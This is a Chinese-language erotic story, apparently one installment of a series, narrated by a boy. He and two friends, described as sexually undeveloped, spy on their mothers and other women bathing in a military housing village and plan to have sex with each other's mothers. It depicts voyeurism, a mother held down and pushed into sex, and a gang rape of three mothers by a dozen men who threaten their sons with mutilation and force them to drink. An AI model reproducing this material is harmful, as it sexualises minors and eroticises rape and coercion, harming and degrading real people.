  只听见妈妈叫我的名字说, 阿豪, 妈的行李包里面有一条毛巾, 拿过来给我, 我口中答应了一声, 心想大概妈妈不敢说叫我拿一件内裤给她吧! 于是我就打开包包, 这时我旁边的人都让了一个位置给我, 大家通通都知道妈妈为什幺需要毛巾, 我打开了包包, 找到了毛巾, 也看见了一条妈妈的白色内裤, 本来想拿起来, 但心里想着万一拿过去给妈妈, 那岂不是不打自招在偷看她上厕所, 于是我就把包包拉鍊拉起, 把妈妈的包包摆在我的包包旁边, 这时全部的人都在看我怎幺拿毛巾给妈妈.

  我硬着头皮敲门, 说毛巾给妳, 我听见铁钩拉开的声音, 厕所门微微打开一条细缝, 此时我左边的人个个瞪大眼睛往厕所里面看, 右边的则是急的半死, 忽然间, 我发现这些人有上天在眷顾着, 火车又猛烈的摇了一下, 只见厕所门哗的一声全部滑开, 所有的人都看见妈妈两手扶着墙壁的跌在地上, 这次是整个后背靠到洗手檯底下, 洗手檯内的水溅了许多出来, 把妈妈的上衣全弄溼了, 只见妈妈两腿开开的面向着厕所外面, 大片的黑毛挡不住两片肥厚的阴唇, 我看见妈妈挣扎着要站起来, 马上进去把她扶起来.

  妈妈满脸通红的跟我说, 真丢脸, 你快把妈妈的包包拿进来, 于是我就转身出厕所拿包包, 这时厕所门没关, 因为我一只脚刚好挡在门旁, 让门关不回去, 我心中泛起了一丝故意让那些人看清楚我妈妈的赤裸下身念头, 我找了一下包包, 然后慢条斯理的拖了出来, 再转身拿给妈妈, 只见妈妈满脸红冬冬的背对着门口, 一只手按着阴部, 一只手遮着屁股, 我把包包轻轻的慢慢放到洗手檯旁, 轻拍妈妈的背, 说了声我把妳的包包拿进来了, 然后我站出门外, 慢慢的把厕所门关了起来, 这时我相信站在我旁边的所有男的都已经看得一清二楚了.

  接着听见妈妈把铁钩子扣了回去, 不到两秒钟, 门又慢慢滑开, 厕所门口也再度挤满了人, 刚刚那个顶住门的袋子又回来了, 门一下子又开5公分宽的缝出来. 这时妈妈把溼透的上衣脱掉, 把奶罩解开, 全裸的站在离我们不到一公尺的距离, 两颗圆滚滚的大奶子因冷水刺激而乳头挺立, 浑圆的屁股翘得高高的, 甜美的腰身与浓密的黑毛, 让大家看傻了.

  这时大家已经很快的回复正常位子与神情了, 我也后退一步, 刚刚挤的地方也空了一个位子下来, 接着就听见厕所门哗的一声打开了, 妈妈走了出来, 她先蹲下去把她的包包跟我的放在一起, 这时我发觉这运动衫是爸爸的XL SIZE, 穿在妈身上领口变得非常鬆, 妈妈的两颗圆滚滚的大奶子可以从旁看得一清二楚, 我发现妈妈周围每个男人都在看她那两颗诱人的乳房, 等她弄好后站起来, 我看见她的两颗奶头在这件白色运动衫前特别的突出, 从那时到高雄的三个多小时车程, 虽然陆续有人下车, 但每个经过车门口的人眼光都会被她那双突出的奶头所吸引, 就这样一路到了高雄车站, 已是天明.

  透早的高雄, 天气真的是好, 虽然太阳已出来, 但是还不算太热, 我跟妈妈走到高雄车站对面, 找了半天才找到高雄客运的站牌, 我们搭上往林园方向的客运, 妈妈上车后, 司机看着她那双突出的奶头一时分了心, 在开动巴士时差点撞到一台机车, 我们坐位旁的客人只要是男的都会眼睛飘来飘去的看着妈妈的胸部, 往林园的路上, 乘客越来越多, 我发现站在妈坐位旁的都是男性, 每个人都三不五时的在偷看妈妈那对毫无遮掩的奶子.

  坐了约一个多小时, 我们在一个眷村(不便透露哪一村)下车, 我打了个公共电话到志明的大姨家, 接电话的是志明, 他兴奋的说早就在等我啦, 我们等了约五分钟, 就看见志明用跑的过来, 只见志明亲切的跟我打招呼后就转向妈妈, 当他才说出伯母好以后, 就愣住了, 我想也知道他被妈妈那对突出的奶头给吓到了, 我马上打圆场拉着志明说, 走吧, 我他妈的快累死了, 站了一个晚上, 于是我们就往志明的大姨家去了.

  志明的大姨家是在村子里面, 是个海军眷村, 我们三人拐来拐去的, 一下子就到了大姨家, 志明先跑进去后, 周妈妈与大姨出来接我们, 她们一眼就看到我妈妈那对突出的奶头, 但她们毕竟是女人, 也没多说什幺, 就往客厅进去, 我们一进去, 就看见周伯伯正打着赤膊的在帮大姨修电风扇, 他和善的抬起头跟妈妈打招呼, 但似乎没有被妈妈那对突出的奶头所吸引, 表现得很稳重与慈祥, 他亲切的招呼我们坐, 然后把电风扇拿起来到外面的院子去修理, 志明则拉着我到后面去参观屋子.

  一下子就走完了, 真的是有够简陋, 客厅过来就是厨房, 厨房后面是后院, 没有厕所, 只有一个蹲式马桶面向着厨房与一条布帘子, 布帘子只能够遮住上半身, 如果是女人上厕所的话, 整个屁股可以看得一清二楚, 后院子就是浴室, 我问志明, 你昨晚就在这边洗澡吗? 他点点头, 我指着后院都是花纹孔的做成的墙壁说, 那外面不就看得一清二楚, 只见他神秘的点点头, 然后跟我说, 没错, 昨天晚上我跟忠年(志明大姨的儿子)躲在后面的小巷子看我妈与我阿姨洗澡, 还有好几个人也在看, 都是忠年的朋友, 他们都知道今天晚上你妈要来, 都跟我约好了, 我干了他一声, 说它妈的这种事你也搞, 他不好意思的说, 阿豪, 在这后院洗澡铁定被偷看, 你不要都不行, 而且他们也会带我们去看别家的女人洗澡, 我听了有点心动, 当下说好, 晚上我们就出去看个够.

  后院旁有一个小违建的小木屋, 里面隔了两层楼, 一楼是今晚要给我妈妈与周妈妈, 大姨三个人睡的木板隔间, 二楼则是我们三个与周伯伯要睡的房间, 由于二楼楼板被木梯子佔了四分之一, 所以特别挤, 我看了看皱眉头说, 哪里睡得下, 志明叫我不用担心, 并说, 船到桥头自然直, 然后我们就回到客厅去了.

  这时周伯伯已经把电风扇修好了, 他坐在小板凳上, 客厅小小的, 有三张低矮的藤製沙发椅, 但天气很热, 沙发都拿掉了, 妈妈面对着周伯伯, 旁边是周妈妈, 另一个单人藤椅是大姨, 我与志明也拿了小板凳坐在周伯伯旁边, 因为藤椅很深, 所以妈妈的短裙被后拉得很高, 两只圆圆的大腿很诱人, 我清楚的看见妈妈短裙内那件白色的内裤, 周伯伯的位子则正对着妈的两只大腿中间, 更清楚, 志明则色咪咪的看着妈妈的胸部, 电风扇不时的吹过来把运动衫紧贴着胸部, 两粒大奶头几乎穿破运动衫, 周伯伯则穿着短裤, 两腿开开的面对着妈妈, 我看见妈妈的眼睛不时瞄向周伯伯黝黑的胸膛跟宽阔的裤裆内, 周伯伯则一本正经的跟她们三个女人聊天.

  就这样ㄠ了一上午, 到了中午, 只见妈妈与周妈妈和大姨三个人都在厨房忙着弄吃的, 我与周伯伯还有忠年与志明则在客厅喝茶聊天, 我们中午吃了一顿简单又好吃的水饺与麻酱麵后, 我跟志明与忠年就向邻居借了脚踏车出去玩了, 留下四个大人在屋子里面聊天. 我们到隔壁村子去打电动, 打撞球, 找朋友, 一路疯到六点多才回大姨家, 只见四个大人也刚刚回来, 原来他们去庙里拜拜, 顺便到附近逛一圈, 六点多才开始弄吃的.

  我们三个则玩得满头大汗, 全身溼透, 此时大姨说, 你们三个先去洗澡, 全身臭酸死了, 难闻的要死, 忠年说了声好, 我则紧张的拉了一下志明说, 拜託, 那她们不是在厨房做饭吗? 不是被看光了, 只见志明笑了笑说, 你怕个春天ㄚ, 你是男的, 还骂别人看ㄚ, 昨天我们就已经在这个时候洗过澡了, 我哦了一声, 就跟着忠年走到后院, 我一看见地上的水管, 暗自喊了声, 我的妈呀, 洗冷水澡, 忠年从厨房接了一条水管过来, 他看着我说, 大人才有烧热水洗, 我们洗冷水就行了. 说完我们三个就把衣服脱光, 很快的洗头沖澡, 我看见妈妈, 周妈妈与大姨的眼睛都不时的飘过来看我们发育尚未完全的肉棒子, 我们洗完后, 晚餐也準备得差不多了.

  我们换上内衣与短裤就回到了客厅準备吃晚饭, 只见妈妈她们三个女人已经满头大汗了, 七个人挤在窄小的客厅内, 有电风扇也无济于事, 热上加热, 我看见妈妈整件运动衫溼透, 两颗乳头完美的呈现在众人眼前, 加上她坐在藤椅上, 大号的运动衫领口, 不用站到旁边就可以看得见大部份的奶子, 周妈妈则穿一件紧身短衬衫与短裤, 因为太热而把胸前釦子打开三颗, 乳沟与奶罩都很清楚的看见, 美腿也很诱人, 大姨则是一件红色T恤与窄短裙黑丝袜, 胸部很大, 但是屁股更大, 我们三个很快的吃完饭, 就藉口出去走走闪人了, 我们去买了槟榔与香烟, 準备等一下好好的偷看妈妈她们洗澡.

  过了约半个小时, 天色已黑, 我们三个人已经等在忠年家后院旁的小巷子了, 这条巷子真的是小, 大约一公尺宽, 我猜不会有什幺人进这种巷子, 谁晓得猜错了, 过了一会, 只见来了五六个人, 有老的有年轻的, 忠年跟他们一一打招呼, 并说他们都是常客, 他们都是互相看别人家的女人洗澡, 只有几个老竽仔例外, 孤单老人, 每天固定报到, 风雨无阻.

  我拉了拉忠年衣服, 小声问说, 那你没跟你妈妈说吗, 叫她不要在这边洗澡就好了, 忠年叹口气说, 阿豪, 我家只有这个地方可以洗澡, 早在我出生前, 我妈就被看光了, 那几个老竽仔说, 我妈年轻时的身材是全村最好的, 她大着肚子洗澡时, 老竽仔说这巷子挤满了男人在看, 大家都没看过大肚子的女人洗澡, 我惊讶的说不出话来, 没多久, 只见阿姨她们三个有说有笑的端了盘子回厨房, 在三个女人的努力下, 盘子一下就清洗好了, 这时我们看见瓦斯炉上开始烧着两大桶开水.

  老竽仔一看才开始烧水, 于是就带领一行人鱼贯的往巷内别家后院搜索, 只见老竽仔跟老猎犬一样灵敏, 才一下子就停在其中一家的后院, 比了个住嘴的手势, 突然间, 我们看见一个眷村大姊般的女人出来后院, 也接了一条水管, 我真佩服她洗冷水, 只见她把厨房通后院的门关起后, 就很快的脱光了衣服, 哇塞, 真的是冷豔型的, 修长的身子, 两颗竹笋形的奶子, 圆翘的屁股, 三角形的阴毛, 好像有修剪过, 我们一票人不吭气的看着, 我的心脏咚咚咚得跳着, 她好像在洗战斗澡, 没一下子功夫就洗完了, 然后全身赤裸的做着体操, 做完后穿上内裤, 短裤与外衣, 没戴奶罩的就回客厅去了.

  我心想, 哗, 军人子弟就是厉害, 今天开了眼界, 这时老竽仔把握时间, 马上转头就往回走, 到了忠年家后院时, 只见周伯伯正要提着热水往水桶里面倒, 倒了两桶后, 周伯伯走到后院子旁的马桶边上厕所, 只见他短裤一拉, 一只大肉棒弹了出来, 然后面对着厨房小便, 帘子未拉起, 看得我们三个小子暗暗羡慕, 就在周伯伯一股尿注直喷蹲式马桶时, 我妈妈刚好到厨房倒开水喝, 透过厨房玻璃与周伯伯的大肉棒面对面相迎, 只见我妈妈羞红了脸, 但是胸前两颗大奶头却在溼透的运动衫上更明显挺了起来, 妈妈还是把水倒满, 当着周伯伯的面喝了下去后, 把杯子放到洗碗槽内才快步走开.

  这时周伯伯尿完了, 但迟迟不收回大肉棒, 他把肉棒捧着, 努力的塞进他的短裤里, 原来那跟大棒子已经涨得硬梆梆的, 这一幕我与志明, 忠年都看见了, 等周伯伯进了厨房内走进客厅, 老竽仔说话了, 那个女的是故意的, 今天晚上这对男女一定有事, 还有, 忠年ㄚ, 妳妈妈昨天应该已经有事了. 只见我们三个小子头都低低的, 忠年与志明都点点头.

  我好奇的问志明, 真的吗? 志明点头说, 昨天他与忠年两个聊到很晚, 结果大人们已为他们两个睡了, 就在客厅做了起来, 他们两个躲在厨房外, 偷偷的看了全部的过程, 志明说他爸爸有够神勇, 忠年也点头称说她妈妈好久没有那幺开心的笑过了, 这时, 志明眼睛一亮的说, 今天晚上再加一个妳妈妈, 我们可以大饱眼福了, 我笑笑的推了推他, 表示赞同.

  这时, 好戏开始上场了, 只见三个女人有说有笑的走到后院子, 最后一个是周妈妈, 她没有把厨房门关上, 接着大姨就进了木屋脱衣服, 并叫妈妈把衣服脱给她, 她要收好免得溅溼, 很快的大姨就光着身子走了出来, 我呼了一口气, 哇, 真大, 起码38吋, 屁股也超大, 阴毛多的简直吓死人, 接着妈妈也脱光了, 但是她背对着厨房, 怕被周伯伯看到, 可是这样子却正对着我们, 我听见志明与忠年轻呼了一声, 忠年跟我说, 你妈妈的奶子很漂亮, 身材很标準, 我得意的点点头, 妈妈的两颗圆滚滚的大奶与大姨的巨乳无法比, 但是比起外观与线条就漂亮多了.

  只见周妈妈转头看着两个赤裸的女人, 她也很快的脱光了衣服, 她的奶子跟我妈妈的差不多大, 两个人的身材几乎一样, 只听见她喊着, 国强ㄚ(周伯伯的名字), 来, 帮我们再煮一些热水, 我妈妈大惊失色的喊说, 喂, 我们已经脱光了, 不可以, 可是已经太晚了, 周伯伯像是早已等在旁边的把厨房纱门一推, 走出来拿两个已经空的开水壶.

  这时大姨与周妈妈两人走到我妈妈身旁, 一左一右把我妈妈架住, 转身回去面对周伯伯, 我妈妈扭着屁股说不要, 喊着说妳们在干什幺, 话没说完, 周伯伯就把裤子脱了, 大肉棒弹了出来, 然后一只手抓着我妈妈的手去握住, 另一只手把我妈妈的腰搂住, 我妈妈在周伯伯健壮的手臂下根本无法动弹, 这时周妈妈把我妈妈的头抓着, 周伯伯就亲了上去, 大姨则把热水一瓢一瓢的往两人身上浇下去, 只见妈妈原来挣扎扭动的身体, 在温水的滋润与周伯伯厚实的胸脯磨擦下, 渐渐的与周伯伯拥着吻了, 我们看见妈妈的手开始紧握着周伯伯的大肉棒, 周妈妈也放开双手走到旁边自己洗澡去了, 大姨则拿了一块肥皂给妈妈, 浇了些水, 说了声, 妳们两个洗个鸳鸯浴, 帮男人洗澡总会吧.

  我妈妈低着头红着脸说好, 就把肥皂往周伯伯身上抹, 接着周妈妈与大姨也过来帮周伯伯抹肥皂, 只见四个人身上涂了满身肥皂, 周伯伯嘴巴吻着妈妈, 两手各握着大姨与周妈妈的乳房, 不住的揉捏, 三个女人则以身体与双乳代替手掌替周伯伯洗澡, 没多久, 大姨就蹲下去含住周伯伯的大肉棒, 不住的摇头抽送口中的阳具, 妈妈则搭着周伯伯亲密的拥吻, 一双奶子则被周伯伯双手紧紧的握住, 周妈妈则两手分别伸出指头插入妈妈与大姨的阴户, 不停的拨弄, 只见妈妈与大姨两个, 屁股不住的扭动, 嘴巴却发不出声音, 只能嗯ㄚ嗯的叫个不停, 我们几个在外面都看傻了.

  这时, 周伯伯示意叫周妈妈沖水, 周妈妈就拿起舀水的杓子帮妈妈与周伯伯沖水, 沖了十几瓢后, 周伯伯说, 昨天晚上妳们两个都嚐过我的铁棒了, 因此今天我要给好好的给秋兰一个补偿, 大家身上太溼, 地上太硬, 帮我就抱着她干好了, 只见周妈妈与大姨都点头说好, 并走过来扶着妈妈, 然后周伯伯把妈妈的两腿一抬起, 大肉棒对準洞穴就插了进去, 只听见妈妈大喊了一声, 唉吆, 好痛, 周妈妈与大姨两个相视而笑.

  有着周妈妈与大姨的帮忙, 周伯伯两手举着妈妈的大腿猛干, 结实的屁股上下快速往妈妈的阴户抽送, 只听见妈妈招牌的唉吆唉吆声不断, 周妈妈与大姨两人各伸出一只手猛揉妈妈的两颗乳房, 妈妈的淫叫声越来越大声, 变成嗯啊嗯啊的叫个不停, 志明推推我, 跟我说我爸爸真会干, 你妈妈真会叫, 我点点头, 眼睛不离这幕精彩的好戏.

  这时周伯伯把妈妈的双腿举得高高的靠在自己的胸膛, 两只手勾着妈妈的脖子, 周妈妈与大姨则各扶着妈妈的腰, 妈妈整个人悬空被周伯伯粗大的肉棒干得吱吱叫, 渐渐的小巷子内又来了一些人, 变得很挤, 大家很有默契的都不讲话, 妈妈不住的呻吟喊叫近乎哀嚎, 她一直求周伯伯慢一点, 轻一点, 太大根了, 她快受不了了, 但是她越求周伯伯, 周伯伯的屁股捅妈妈的阴户捅得更大力, 啪..啪..啪..的响个不停, 只见周妈妈与大姨两人很有默契的把妈妈的两腿往外拉, 好让妈妈的阴户全开, 周伯伯那根超级大肉棒才能全根尽入.

  就这样猛力的干了约二十几分钟, 妈妈被干得两手下垂, 已经全身无力的任由周伯伯用力的插送, 忽然间周伯伯啊的一声, 只见周妈妈急忙把周伯伯的大肉棒从妈妈的阴户内抢掏了出来, 接着好几注白色的精液喷得妈妈的头上与脸上, 两颗乳房, 肚脐, 阴毛上到处都是, 静默几秒钟后, 周妈妈用手抽送周伯伯的肉棒好让他的精液滴尽, 确定周伯伯已喷得没有精液后, 三个人把妈妈平平的放下, 两腿开开的向着我们这边, 溼黏的阴毛被两片外翻的大阴唇所覆盖, 阴唇中间还可以看见粉红的肉穴张着口像在呼吸一样.

  此时大姨趴在妈妈的身上猛舔周伯伯射出来的精液, 周妈妈也举着周伯伯开始软化的肉棒张口去舔, 就这样舔了约几分钟, 周伯伯的精液已经舔得乾乾净净, 于是大姨拉起虚脱的妈妈, 帮她把身上沖乾净后, 就带着妈妈与周妈妈进了小木屋, 留下周伯伯把后院的盆子清理乾净, 然后周伯伯全身赤裸的走进小木屋里面, 后院香豔的性游戏才告一段落.

  我们外面这些人全部捨不得离开, 都站着不动, 只听见老竽仔叹了口气说到, 要是能让我摸摸那女人就好了, 现在只能回家打手枪啰, 大家全都噗叱的笑了出来, 另一个老竽仔说道, 走, 到隔壁巷子去, 那边有好几个女人要上演了, 于是大伙就随着两个老竽仔走了, 只留下我们三个难兄难弟, 忠年开口了, 我们三个现在是兄弟了吧, 我与志明哈哈大笑说, 有三个当众表演的妈妈, 这下子难做人了. 这时志明说了, 阿豪, 我们要不要上她们, 我毫不考虑的说, 要, 但是自己的妈妈不要上, 上别人的妈妈, 免得怀孕后, 搞不清楚是谁家的小孩, 事情就闹大了, 他们两个都点头称是, 于是我们就往一家冰果室去坐在一起, 商量第二天如何下手让自己的妈妈与我们上床了….(续)

  我们三个人在冰果室内吃了好几份剉冰后还讨论不出结果, 出了一大堆馊主意, 结果不是太过于幼稚不可能实行, 就是太过于困难根本做不到, 因为有周伯伯在, 根本轮不到我们有机会同时去设计三个人的妈妈, 于是我们垂头丧气的回到忠年家, 準备就此作罢.

  进了门后, 我们看见三个妈妈都穿得很少的坐在客厅里聊天, 妈妈穿了一件薄睡衣, 就是一天到晚穿去郑伯伯家那件, 两颗乳房与奶头比早上更明显, 没穿外裤, 虽然睡衣算得上是迷你裙的长度, 但是藤椅还是发挥了功能, 妈的睡衣只盖到屁股, 几乎整只大腿露在外面, 我看不到她的内裤, 又见到她两腿靠得紧紧的, 我断定她没有穿内裤.

  周妈妈则穿了一件周伯伯的背心汗衫与宽鬆短裤, 背心太大件了, 两掖与领口超低, 整颗奶子除了乳头以外几乎全都露, 虽然她也是两腿紧靠, 但是我可以从腿旁的短裤开口看到腰部底下的屁股侧面, 大姨则穿了一件肩带型的白色长睡衣, 几乎是透明的, 我看着她的双乳撑在正前方, 两颗大黑乳头有够吸引人, 下身由于阴毛太多太浓, 就算坐着也感觉出来她肚子底下黑了一块.

  这时我们发觉周伯伯不见了, 于是志明问周妈妈说, 妈, 爸爸去哪? 周妈妈叹了口气说, 刚刚台北的公司打了长途电话来, 说明天有一个非常重要的海外买家要来台北看货, 这次的订单可能影响你爸爸公司今年的盈亏, 因此他刚刚开车回台北去了.

  我们三个一听大喜, 心想这下子今天晚上有的玩了, 于是忠年就说我们还有事要出去一下, 三个妈妈都一副很狐疑的样子, 我妈妈说道, 你们到底在干什幺, 整个晚上神神秘秘的, 我们笑而不答的就闪了.

  到了巷口, 我们商量的一阵子, 如何分开这三个妈妈好让我们上, 想破了头还是想不出来, 于是就决定前往今晚带头偷看女人洗澡的老竽仔-金铁他家(人称金老爹), 找金老爹想法子帮忙, 我们很快的去到了金老爹家, 他听完我们的来意, 笑了笑说, 你们真的要如此, 我们三个大声说是, 于是他沉思了一会儿说, 我有办法.

  但是你们三个要乖乖的听我的吩咐, 我保证她们三个女人被你们操上后都不知情, 我们听了大喜的点头说好, 金老爹说了, 今晚11点半, 带着她们三个到后山练兵台来, 到了以后, 你们藉故离开一下, 然后躲在附近等我的吩咐就行, 我没叫你们再出现, 就不要现身, 我们三个点点头说好.

  接着我问了什幺是练兵台, 忠年说道, 后山是军事管制区, 练兵台就是陆军步兵野外训练的临时司令台, 晚上都不会有人的. 现在我们回去吧! 于是我们三个就带着喜悦的心情回大姨家去了.

  一进到大姨家的客厅, 只见三个女人都很敏感的把腿紧靠併拢, 我们也假装没事般的陪三个妈妈聊天, 越聊越高兴, 此时已经晚上11点20分了, 忠年提议说, 今晚月光明亮, 我们去夜游好不好, 我与志明两个马上说好, 并要求妈妈们也去, 只见大姨怀疑的问说要去哪夜游, 忠年说后山, 大姨说那怎幺行, 那是军事管制区耶.

  忠年回说, 就是因为是军事管制区, 小阿姨与伯母难得来高雄, 才更要带她们去开开眼界ㄚ, 于是妈妈们都点头说好吧, 本来要起身换衣服的, 但忠年说拿件外套就好了, 三更半夜又没有外人, 况且有我们三个人在怕什幺, 于是她们各自拿了一件外套就跟着我们一起去后山.

  月光真的很明亮, 几乎跟开着夜灯一样的明亮, 我们边走边聊, 一下子就到了后山, 接着我们往野外教练场走进去, 只见到处竖立着军事障碍物, 不久, 我们看到了司令台, 忠年提议到那边坐一坐聊天, 妈妈们很高兴的都说好.

  大姨说, 她来到这里让她很怀念以前约会的时光, 都是在暗夜的军事区内, 我们听了都哈哈大笑, 我妈妈说现在小孩谁会来这种连个鬼影都没有的地方约会, 接着没多久走到了司令台, 我们一起坐在司令台边缘上.

  这时, 有一阵凉风吹来, 我打了一声喷嚏, 我妈妈紧张的为我说, 阿豪, 你会不会冷, 我点点头说会, 于是妈妈就脱下她的夹克批在我身上, 这时, 在皎洁的月光下, 我可以很轻楚的看见妈妈胸前的两颗乳头, 此时, 周妈妈与大姨也脱下了夹克给她们的儿子, 并说她们大人不怕冷.

  我们三个都批上夹克后, 忠年提议说去买个宵夜来吃, 顺便去去凉意, 三个妈妈都同意, 于是我与志明就假装要帮忠年去提宵夜过来, 并要妈妈们在司令台这边等我们, 三个妈妈认为她们大人自己作伴, 应该不会有危险, 就点头同意了, 于是我们三个飞奔的跑离野外教练场, 然后转了一圈, 偷偷的回到司令台后面的树林内.

  我们听见三个妈妈有说有笑的在聊着今晚我妈妈被周伯伯硬上的事情, 只听见我妈妈有点不悦的说, 妳们两个早有预谋, 把我羊入虎口, 这笔帐, 我会记着, 接着大姨说, 秋兰ㄚ, 妳自己看看妳最后爽成什幺样子, 还好意思骂我们, 真不害臊, 周妈妈也说, 我们两个抬妳的大腿抬得累死了, 硬撑着妳悬空, 妳才能那幺舒服, 有够淫的, 我妈妈低着头向周妈妈娇声的说, 你老公那根太硬太大了, 任谁被插都会爽成那样子, 怎可骂我淫, 说完, 三个女人的笑声不断的传来, 此时, 教练场的远处, 有几条黑影慢慢的走过来.

  眼尖的周妈妈看见了黑影, 笑着说, 他们三个动作真快, 已经回来了, 大姨抬头望了望, 咦了一声说, 不对呀, 怎幺多了好几个人, 此时, 我们三个听到大姨说的, 就抬头看了过去, 忠年眼睛最好, 他说, 我的妈呀, 有十几个人, 我与志明都赶紧看过去.

  果然是一大票人走过来, 而且是正对着司令台, 我拉了拉忠年的衣服说, 万一不是金老爹, 那怎幺办, 忠年答说, 不管了, 我们现在不可以出现, 不然万一穿帮就惨了, 先静观其变吧, 于是我们三个就默默的注视那一票已经快走近司令台的人.

  只听见周妈妈与我妈妈以越来越惊惶的语气问大姨说认不认得那些人, 大姨也摇摇头, 接着没多久, 十几个不速之客以半圆形的方式包围了三个已经吓得站在台前的女人, 他们全都蒙了毛巾在脸上, 有两个手上拿着木棍, 这时其中有一个带头的站出来说道.

  兄弟们, 你看看我们找到了什幺, 我们三个一听语气, 原来是金铁假装的, 都鬆了一口气, 但我们没想到他带了那幺多人来, 这时, 大姨说话了, 你们要干什幺, 这里可是军事区域, 我们是住在前面眷村的, 你们最好不要乱来, 只听金铁哈哈一笑说, 妳这个贱女人, 自己的淫贱样有多少人都看过了, 还不知道, 还敢大声, 不想皮痒的话, 现在通通给我站到司令台上去.

  我大姨又说了, 我们的男人马上会回来, 你们最好不要乱来, 金铁又是哈哈大笑说, 是刚刚被我们遇到的三个年轻人吗? 我已把他们绑在树林子内, 好ㄚ, 我听妳的话, 现在我们就回去树林内把他们的生殖器割下来, 拿回来给你们当宵夜, 说完, 十几个人哄堂大笑, 我们从声音上听得出来都是老竽仔.

  这时, 我妈妈与周妈妈都大惊的啊了一声, 大姨的态度马上软化, 她说, 这位大爷, 你们千万别伤我儿子, 我们马上站到司令台上去, 说完, 大姨哇的一声哭了出来, 我妈妈与周妈妈也哭着走上了司令台, 金铁哈哈大笑说, 原来是妳儿子ㄚ, 那其他两个呢? 我妈妈与周妈妈都哭的回答说, 其中一个是我的儿子, 金铁冷笑着说, 那今天可以好好的玩了.

  明亮的月光下, 三个穿着极为诱人与暴露睡衣的少妇站在教练场的司令台上, 金铁发出了命令, 妳们三个贱货听着, 现在不準哭, 谁再哭我就跺了谁的儿子的命根子, 于是哭声马上停止, "把衣服脱掉", 咻咻咻的几声, 妈妈她们三个人就全身赤裸的站在十几个老竽仔前面.

  "两手捧着奶子, 两腿打开", 说完, 大姨她们就各自一手捧着一个奶子, 两腿张开的站在司令台上, 金铁继续说道, 交互蹲跳20下, 我心中暗付, 我的妈呀, 金铁把妈妈们当做新兵啦, 于是见到大姨子捧着大乳房蹲着两腿交互蹲跳, 听不懂口令的妈妈与周妈妈也赶紧学着做.

  这时, 原本围成半圆形的人已经排成两三排走近司令台前了, 随着两腿交互蹲跳的瞬间, 一堆人目光集中在三个妈妈两腿深处的阴户上, 好不容易跳完了, 三个妈妈气喘的很厉害, 现在, 金爷转头看着一伙人喊道, 排成三个横排, 只见一下子一票人就排好了.

  两排四个人, 一排三个人, 加上金铁刚好四个, 金铁续说, 三个贱人下来, 一个人选一排, 只见大姨她们三个乖乖的下了司令台, 三个妈妈气喘如牛, 胸部不断的随着喘息而起伏, 非常诱人, 妳, 过来我这排, 金铁向我妈妈下了命令, 我妈妈走了过去, 金爷一把抓住了我妈妈, 把她拉到面前喊了声, 跪下, 我妈妈就轻轻跪了下去.

  现在, 妳们三个女人给我听好了, 一个人两分钟, 有八分钟的时间, 如果哪一个人的阳具没有被吹直的话, 就拿那个女人的儿子开刀, 现在, 大家把裤子脱下, 十几个人一下子就把裤子通通解开放下, 内裤拉掉, 每个人都弯腰把内裤拉下, 现在开始吹.

  只见大姨, 我妈妈与周妈妈立即含着每排第一个人的阳具开始吸允, 因为心急的关係, 时可听见噗..噗..噗..的声音, 那是有空气不小心从嘴巴细缝跑进去的声音, 只见一分钟过去了, 三个妈妈都还没有进展, 我们看见她们的头猛摇, 忽然间, 大姨跪着往第二人走去, 一头栽进那人的下部, 猛吸了起来.

  没多久, 周妈妈也往第二人移去, 惟独我妈妈还在吸第一个-金铁, 只见金铁生气的说道, 他奶奶的, 吸这幺久, 等一下你儿子会完蛋, 只看见我妈妈立刻把金铁的龟头吐出, 开始用舔的, 没有十秒钟, 金铁那根肉棒就槓了起来, 我妈妈马上往第二个舔过去, 这时金铁笑道, 他奶奶的, 这贱货真厉害, 我叫她用吸的, 她居然用舔的, 不错, 有一套.

  接着不到五分钟, 只见十二只阳具只只挺立, 三个妈妈完成了金铁交付的任务, 快, 金铁说道, 妳们三个女人去司令台前坐好, 于是大姨她们三个马上走到司令台边缘两腿悬空坐着, 金铁下令了, 两个抬腿, 一个干, 一个摸奶, 射完了就换人, 上, 于是每个妈妈被四个老竽仔围住, 我们从她们背后看见每个人两腿被高举往自己身上靠, 把阴户向前露了出来.

  只见第一梯的三个老竽仔握着自己的肉棒猛插三个妈妈, 每个妈妈都开始呻吟, 她们每个人的双乳都被一个老竽仔死命的揉着, 这时志明小声的说, 我的妈啊, 他们这些人多久没摸过女人的奶子了, 我则吞了口水, 说不出话来的看着司令台的情景, 老竽仔们就跟砲兵一样的像在跑班换砲弹, 井然有序的一个一个干着妈妈们, 大约等了一个小时, 总算十二个人都干完了, 这时金铁又令他们站成三排, 叫妈妈们一个一个把他们的阳具舔乾净后, 把他们的内裤与长裤穿好繫好, 过了20分钟后, 教练场的老竽仔们又都衣着整齐的站在司令台前了.

  金铁满意的说道, 很好, 现在我们回去告诉那几个小子说, 他们的妈妈味道真好, 令人难忘, 这时只见大姨带头跪下说道, 大爷, 您千万别跟他们说ㄚ, 我们跟您做牛做马都行阿, 金铁冷笑着说, 妳们都住同一个村子吗? 大姨哭着说, 只有我一人住眷村, 她们都是我朋友, 后天就要回台北去了, 您把帐都算我头上吧, 拜託拜託啦.

  金爷冷哼了一声说, 嘿, 天下有这幺好的事ㄚ, 三个贱货打野炮, 只一个出来扛, 这时我妈妈与周妈妈也哭着跪下去说, 大爷如果您来台北, 我们一定让您随传随到, 请大爷体谅ㄚ, 金铁点点头说道, 好吧, 看妳们三个有诚意, 台北的帐就挂着, 随时我们会去要帐, 高雄的就妳一个人扛, 大姨立即点头说是.

  好, 爽快, 大爷我呢很有良心, 天一亮就放妳们的小孩子回去, 然后指着我妈妈与周妈妈说, 妳们两个贱人后天要回台北, 那明晚得先付个帐, 明天晚上11点妳们三个一样穿这样过来这里等我们, 如果少一个, 嘿嘿嘿, 金铁指着大姨说, 妳家就没了后代, 是是是, 只听见妈妈她们三个都说一定过来.

  好, 现在我要先把那两个台北来的婊子灌醉, 免得妳们等一下搞花样, 然后由妳这个眷村公娼带路送回去, 到家后再灌妳酒, 让妳们直接睡到明天早上, 这样妳们三个小孩早上回去时, 会以为妳们等不到他们买宵夜而先回家睡觉了, 这样可以保住妳们的颜面, 妳们觉得如何?

  我妈妈与大姨面有难色的说, 可是我们根本不敢喝酒, 金铁嘿嘿一笑说, 我也可以现在就放他们三个回来看妳们的现在的淫样, 只听见我妈妈与大姨, 周妈妈三人齐呼不要, 并点点头说要喝酒, 金铁哈哈一笑说道好, 那两个台北来的婊子, 一人一瓶米酒, 开始灌, 于是其中两个老竽仔各拿了一瓶米酒出来, 金铁下令说, 通通把酒给灌进肚子去.

